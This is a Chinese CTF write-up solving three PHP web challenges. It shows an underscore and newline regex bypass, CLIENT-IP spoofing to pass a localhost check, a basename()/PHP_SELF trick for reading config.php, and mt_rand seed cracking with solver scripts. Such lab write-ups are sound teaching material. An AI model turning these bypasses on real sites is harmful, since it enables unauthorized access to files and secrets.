[MRCTF2020]套娃
打开界面发现源码,
第一关
$query = $_SERVER['QUERY_STRING'];的意思就是返回?后的值 |
第一个if是检查,有没有下划线 %5f下划线的编码 所以我们要达到的效果就是?传参没有_下划线 |
利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户
空格、+ - [ . 都可以换成_,我们这里用空格代替
第二个if是强比较不等于2333,后面正则2开头3结束格式,这样我们就只能在%0a进行换行绕过
第二关
看见源码注释掉了,看了大佬的wp,说这是JsFuck加密,我还真没听说过
把他复制到控制器,运行
获得提示,让我们传参Merak,随便传入一个值 比如Merak=sfsf
第三关
Flag is here~But how to get it? <?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
首先第一个if是判断 是否是本地ip地址
然后file_get_contents($_GET['2333']) === 'todat is a happy day' data读取
可是到这里ip已经用插件设置了127.0.0.1,没通过,百度一下
CLIENT-IP: 127.0.0.1 这里x-forwarded-for失效了
成功,最后看change的作用, $v = base64_decode($v)里面是base64解码,所以我们传参需要先编码,也就是flag.php 每个字符加 i*2
所以我们先减在传入
c='flag.php'
for num in range(0,8):
a = chr(int(ord(c[num])) - num * 2)
print(str(a),end="")
得到,fj]a&f\b直接base64编码传入就可以了
[Zer0pts2020]Can you guess it?
<?php
include 'config.php'; // FLAG is defined in config.php
if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}
if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
$_SERVER['PHP_SELF']是当前执行的脚本名,比如url是:http://xxx/index.php $SERVER['PHP_SELF']的值就是index.php
如果url是:http://xxx/index.php/a.php/a/b/c/d/?a=1 $_SERVER['PHP_SELF']的值就是index.php/a.php/a/b/c/d/ (忽略传参)
hash_equals($secret, $guess)是判断两个参数是否相等
bin2hex 字符串转为十六进制
该函数以字符串形式返回加密安全的随机字节 random_bytes
本来觉得突破口是两个参数相等,然后得到flag,可是是随机生成的,那看看别的点
源码里有一句:
highlight_file(basename($_SERVER['PHP_SELF']));
如果url是:http://xxx/index.php/a basename($_SERVER['PHP_SELF'])的值就是a (只看最后一个/后面的,同样忽略传参)
正则:/config\.php\/*$/i 最后是个*,传一个中文字符(打印不出来),正则就会失效
题目给出了flag在config.php,我们要得到这个php,如果访问index.php/config.php,其实依然是index.php的界面
这道题给出了basename()的漏洞,只看最后一个/的后面,而且忽略上传参数
比如$path是/var/www/html/index.php,那么basename($path);
得到的就是index.php。
<?php
function check($str){
return preg_match('/config\.php\/*$/i', $str);
}
for($i=0;$i<255;$i++){
$str="/index.php/config.php/".chr($i);
if(!check($str)){
echo $i.":".basename($str);
echo "<br>";
}
}
ASCII值范围为0-255,但ASCII码并没有规定编号为128~255的字符,ASCII表范围为0-127,也就是我们传入128以上的数值,即可绕过正则,128 -> 0x80
这样既可以访问config.php,也可以绕过正则
还有几个中文符号也可以比如:?中文汉字都可以,打印不出来
[GWCTF 2019]枯燥的抽奖
打开界面
一看见想的本来是爆破,然后想了一下,不行呀这样得爆破到猴年马月,也不是有一部分对就是回显别的汉字。看一下源码
看见了个地址,
访问得到,源码
jgBHnUZqTT
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}
mt_srand($_SESSION['seed']); 这是赋予的一个seed种子
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
表面,这是一个随机0-strlen的随机,可是mt_rand通过一种复杂的运算存在规律
我们可以通过第一个值,也就是给出的jgBHnUZqTT通过一定的运算可以推算出下面的值,拼接形成flag
知识点:PHP mt_rand安全杂谈及应用场景详解 - FreeBuf网络安全行业门户
首先,第一步我们先将给出的第一段字符换成数字
str1="jgBHnUZqTT"
str2= "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
length=str(len(str2)-1)
result=''
for i in range(0,len(str1)):
for j in range(0,len(str2)):
if str2[j]==str1[i]:
result+=str(j)+' '+str(j)+' '+'0'+' '+length+' '
print(result)
9 9 0 61 6 6 0 61 37 37 0 61 43 43 0 61 13 13 0 61 56 56 0 61 61 61 0 61 16 16 0 61 55 55 0 61 55 55 0 61
以上面生成的随机数为例,假设我们知道了第一个生成的随机数,那我们怎么预测种子呢?
那就要用到php_mt_seed这个工具了。
得到的seed为209641505 ,根据seed去得到密文就行了,要用php7.1及以上版本的
<?php
mt_srand(209641505);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>
然后php这段代码,需要用php7.1+的版本,否则的出来的不太一样,因为seed提示了php版本,输入得到flag